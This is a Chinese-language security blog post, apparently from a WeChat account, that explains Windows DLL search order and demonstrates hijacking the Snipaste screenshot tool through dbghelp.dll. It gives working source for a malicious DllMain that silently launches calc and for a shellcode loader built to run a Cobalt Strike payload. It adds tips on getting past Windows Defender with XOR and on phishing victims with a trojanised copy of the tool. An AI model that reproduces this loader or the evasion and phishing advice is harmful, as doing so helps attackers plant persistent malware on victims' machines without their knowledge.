DLL HIJACKING
DLL劫持(DLL Hijacking),由于程序加载dll时没有指定绝对路径,或者攻击者有权限将恶意的dll文件放置到指定目录(例如msdtc的dll劫持),导致程序启动时,加载dll执行恶意代码。不同版本的windows系统加载dll搜索的路径不同,在Win10中,操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径。
DLL搜索顺序
当LoadLibrary()调用时,系统会从以下顺序路径寻找dll。
-
程序所在目录
-
C:WindowsSysWOW64
-
C:WindowsSystem32
-
C:WindowsSystem
-
用户当前目录
-
PATH 环境变量中的目录
“程序所在目录”指的是执行程序时所处的位置,比如在 C:Userss1yeDesktop
目录执行某程序,这时“程序所在目录”就是Desktop目录。
KNOWDLLS注册表项
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs
简单来说就是,如果待劫持的DLL在此项中有设置,就只能在系统目录调用。
SNIPASTE
Snipaste是一个比较好用的截图工具,官方网址https://zh.snipaste.com/
寻找可劫持DLL
使用Process Monitor查找缺失的dll,在本文中使用dbghelp.dll来实现劫持。
编写“黑”DLL
#include "pch.h"
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("cmd /c calc.exe",SW_HIDE);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
简单的demo,一个无黑框(cmd弹窗)弹计算器。扔到snipaste目录即可。
效果
程序正常使用(正常截图)。
利用Cobalt Strike生成64位恶意shellcode,替换下面代码shellcode部分。
#include "pch.h"
HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
/* length: 894 bytes */
unsigned char shellcode[] = "x00x08...........";
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译生成DLL,修改名字后放入Snipaste目录中即可。(截图功能依旧正常)
这个DLL360不杀,但是Windows Defender会杀掉,如果使用的话随便异或下就行。利用面不是很广,单纯的测着玩玩,用共享工具来钓鱼是个思路,遵守法律。
分享、点赞、在看就是对我们的一种支持!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论